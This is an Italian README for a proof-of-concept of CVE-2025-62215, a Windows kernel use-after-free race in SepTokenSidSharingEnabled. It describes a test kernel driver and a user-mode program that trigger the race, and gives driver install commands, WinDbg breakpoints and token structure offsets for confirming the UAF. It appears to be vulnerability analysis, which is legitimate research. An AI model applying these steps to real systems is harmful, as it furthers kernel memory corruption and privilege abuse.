
Exploit proof-of-concept per CVE-2025-62215, una vulnerabilità Use-After-Free del kernel Windows in SepTokenSidSharingEnabled. Include un driver del kernel e un exploit in modalità utente per l'analisi delle race condition.
Un Use-After-Free PoC che si verifica nel percorso di ottimizzazione SepTokenSidSharingEnabled del kernel Windows.
NtDuplicateToken incrementa il RefCount del SID Values Block da 1→2,
un thread kernel concorrente libera il blocco tramite ExFreePoolWithTag.SepDereferenceSidValuesBlock accede al blocco liberato → UAF / Double Free.[User] IOCTL_REPLACE_SID_BLOCK → Posiziona un blocco indipendente (RefCount=1) a TOKEN+0x468
[User] IOCTL_TRIGGER_FREE → Crea un thread kernel (poll fino a RefCount==2)
[User] NtDuplicateToken → Internamente incrementa RefCount 1→2
[Kernel Thread] RefCount==2 rilevato → ExFreePoolWithTag(pBlock) ← punto UAF
| Percorso | Descrizione |
|---|---|
exploit/exploitWithDriv/exploitWithDriv.cpp | Exploit in modalità utente (app console) |
tokendriv/tokendrv/tokendrv/tokendrv.cpp | Driver kernel (fornisce interfaccia IOCTL) |
tokendriv.sys — Driver kerneltokendriv/tokendrv/tokendrv.slnxtokendriv/tokendrv/x64/Release/tokendriv.sys.sys nella VMDopo aver installato il WDK, verificare: Project Properties → Driver Settings → Target OS Version
exploitWithDriv.exe — Exploit in modalità utenteexploit/exploitWithDriv.slnxexploit/x64/Release/exploitWithDriv.exeSepTokenSidSharingEnabled)test / 1234 (account locale, non richiede diritti amministrativi)sc create tokendriv type= kernel binpath= "C:\path\to\tokendrv.sys"
sc start tokendriv
Verificare che il driver sia in esecuzione:
sc query tokendriv
Lo stato dovrebbe essere RUNNING.
exploitWithDriv.exe
Flusso di esecuzione:
FullNumberOfPhysicalPages (deve essere ≤ 0x83400)LogonUser("test", ".", "1234") → acquisisce hSourceREPLACE → TRIGGER → NtDuplicateToken → Sleep(1)0: kd> !process 0 0 exploitWithDriv.exe
Output di esempio:
PROCESS ffffa88f5e61e080
SessionId: 1 Cid: 1234 Peb: ... ParentCid: ...
Image: exploitWithDriv.exe
ffffa88f5e61e080 è l'indirizzo EPROCESS.
Gli indirizzi seguenti possono variare in base all'ambiente — confermare con i simboli kernel reali.
A. Incremento RefCount del blocco SID (inizio finestra di race)
0: kd> bp fffff800`725c6114 ".if (@$proc == 0xffffa88f5e61e080) { .echo A_REFCNT_INCR; dq poi(@rsi+0x468)+8 L1; gc } .else { gc }"
TOKEN+0x4681 → 2 è la finestra di raceB. Punto di lettura UAF
0: kd> bp fffff800`726f51fb ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_READ; r rax,rdx; gc } .else { gc }"
rax, rdxC. Punto di scrittura UAF
0: kd> bp fffff800`726f5208 ".if (@$proc == 0xffffa88f5e61e080) { .echo REAL_UAF_WRITE; r rcx,rdx,rax; gc } .else { gc }"
rcx, rdx, rax per eventuale corruzioneNtDuplicateToken entry
└─ SeTokenCanImpersonate
└─ SID Block RefCount: 1 → 2 ← bp A (A_REFCNT_INCR)
← kernel thread: ExFreePoolWithTag(pBlock)
└─ SepDereferenceSidValuesBlock
└─ dereference pBlock (read) ← bp B (REAL_UAF_READ)
└─ dereference pBlock (write) ← bp C (REAL_UAF_WRITE)
2 immediatamente dopo la stampa di A_REFCNT_INCR, la finestra di race è stata entrata con successoREAL_UAF_READ / REAL_UAF_WRITE, la UAF è confermata'kcoB': !pool <addr> o !poolused| Struttura | Offset | Campo |
|---|---|---|
_TOKEN | +0x468 | SepSidValues (puntatore al blocco SID Values) |
| Blocco SID Values | +0x000 | Length (ULONG) |
| Blocco SID Values | +0x008 | ReferenceCount (LONGLONG) |
sc stop tokendriv
sc delete tokendriv